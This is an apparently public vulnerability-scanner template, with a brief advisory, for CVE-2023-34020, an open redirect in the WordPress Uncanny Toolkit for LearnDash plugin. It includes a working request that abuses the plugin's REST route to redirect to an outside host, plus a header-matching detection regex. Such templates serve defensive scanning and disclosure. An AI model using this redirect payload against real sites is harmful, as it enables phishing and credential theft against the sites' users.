A vulnerability in the WordPress Uncanny Toolkit for LearnDash Plugin allowed malicious actors to redirect users, posing a potential risk of phishing incidents. The issue has been resolved in version 3.6.4.4, and users are urged to update for security.
PoC代码[已公开]
id: CVE-2023-34020
info:
name: Uncanny Toolkit for LearnDash - Open Redirection
author: LeDoubleTake
severity: medium
description: |
A vulnerability in the WordPress Uncanny Toolkit for LearnDash Plugin allowed malicious actors to redirect users, posing a potential risk of phishing incidents. The issue has been resolved in version 3.6.4.4, and users are urged to update for security.
impact: |
Unauthenticated attackers can craft malicious redirect URLs through the REST API to redirect LearnDash users to phishing sites, potentially stealing login credentials and compromising user accounts.
remediation: |
Update Uncanny Toolkit for LearnDash plugin to version 3.6.4.4 or later that validates redirect URLs and prevents open redirect attacks in the REST API.
reference:
- https://patchstack.com/database/vulnerability/uncanny-learndash-toolkit/wordpress-uncanny-toolkit-for-learndash-plugin-3-6-4-3-open-redirection-vulnerability
- https://wordpress.org/plugins/uncanny-learndash-toolkit/
- https://patchstack.com/database/vulnerability/uncanny-learndash-toolkit/wordpress-uncanny-toolkit-for-learndash-plugin-3-6-4-3-open-redirection-vulnerability?_s_id=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
cvss-score: 4.7
cve-id: CVE-2023-34020
cwe-id: CWE-601
epss-score: 0.04017
epss-percentile: 0.88159
cpe: cpe:2.3:a:uncannyowl:uncanny_toolkit_for_learndash:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/uncanny-learndash-toolkit/"
product: uncanny_toolkit_for_learndash
vendor: uncannyowl
tags: cve2023,cve,wordpress,uncanny-learndash-toolkit,wpscan,redirect,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?rest_route=/ult/v2/review-banner-visibility&action=maybe-later&redirect=yes&redirect_url=https://interact.sh"
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
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